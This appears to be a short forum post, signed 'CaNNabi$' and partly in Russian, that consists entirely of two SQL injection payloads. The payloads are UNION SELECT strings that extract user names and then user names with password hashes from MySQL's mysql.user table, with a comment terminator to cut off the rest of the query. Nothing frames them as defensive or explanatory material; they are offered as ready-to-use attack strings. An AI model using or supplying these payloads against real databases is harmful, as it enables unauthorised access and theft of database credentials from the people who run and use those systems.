CaNNabi$
union select 1,2,3,4,user,6,7,8 from mysql.user/*
либо так
union select 1,2,3,4,concat_ws(0x3a,user,password),6,7,8 from mysql.user/*